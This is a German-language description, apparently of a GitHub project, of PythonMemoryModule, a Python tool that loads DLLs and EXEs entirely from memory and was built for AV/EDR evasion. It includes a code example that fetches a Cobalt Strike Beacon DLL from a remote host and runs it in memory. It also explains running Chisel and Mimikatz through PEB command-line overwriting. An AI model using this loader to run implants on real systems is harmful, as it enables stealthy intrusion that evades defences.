
Reine-Python-Implementierung der MemoryModule-Technik zum vollständigen Laden von DLLs und unmanaged EXE-Dateien aus dem Speicher.
Reine Python-Implementierung der MemoryModule-Technik, um eine DLL oder nicht verwaltete EXE vollständig aus dem Speicher zu laden
"Python memory module" KI-generiertes Bild - hotpot.ai
PythonMemoryModule ist eine Python-ctypes-Portierung der MemoryModule-Technik, die ursprünglich von Joachim Bauch veröffentlicht wurde. Es kann eine DLL oder eine nicht verwaltete EXE mit Python laden, ohne dass eine externe Bibliothek (pyd) erforderlich ist, und bietet (teilweise) Unterstützung für die Übergabe von Befehlszeilenparametern.
Es nutzt pefile zum Parsen von PE-Headern, PythonForWindows für den Zugriff auf Prozessparameter und ctypes für die schweren Aufgaben. Das Tool war ursprünglich als Pyramid-Modul gedacht, um Umgehung von AV/EDR zu ermöglichen, indem DLL/EXE-Payloads vollständig aus dem Speicher in python.exe geladen werden. Es sind jedoch auch andere Anwendungsfälle möglich (IP-Schutz, In-Memory-Laden von pyds, Ableger für andere verdecktere Techniken), daher habe ich mich entschieden, ein eigenes Repo zu erstellen.
Im folgenden Beispiel wird eine zustandslose Cobalt Strike Beacon DLL heruntergeladen (nicht auf der Festplatte gespeichert), in den Speicher geladen und durch Aufrufen des Einstiegspunkts gestartet.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
Hinweis: Wenn Sie Staging in Ihrem malleable Profile verwenden, könnte die DLL nicht mit LoadLibrary geladen werden, daher wird MemoryModule nicht funktionieren.

Im folgenden Beispiel verwenden wir die Funktionalität zur Übergabe von Befehlszeilenparametern, um Chisel im Speicher auszuführen.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
Diese Technik wurde implementiert, indem der CommandLine-Parameter im PEB zur Laufzeit überschrieben wird. Dies funktioniert nicht mit jeder ausführbaren Datei, da es davon abhängt, welche Funktionen zur Übergabe von Argumenten verwendet werden.
Im Allgemeinen wäre für eine universell funktionierende Technik das Hooking von GetCommandlineA, GetCommandlineW, __getmainargs und __wgetmainargs erforderlich, da das PEB-Stomping nicht alle Fälle abdeckt. Weitere Details hier
Bei meinen Tests stellte ich fest, dass Mimikatz und mehrere Go-Binärdateien nur mit PEB-Stomping funktionieren, während die Übergabe von Befehlszeilenparametern allein durch PEB-Stomping bei mit MinGW und Visual Studio kompilierten Binärdateien wahrscheinlich nicht funktioniert.
Die Verwendung der MemoryModule-Technik respektiert größtenteils die Abschnittsberechtigungen der Ziel-DLL und vermeidet den lauten RWX-Ansatz. Allerdings wird im Programmspeicher ein privater Commit vorhanden sein, der nicht durch eine DLL auf der Festplatte abgesichert ist, und dies ist ein verräterisches Zeichen von MemoryModule.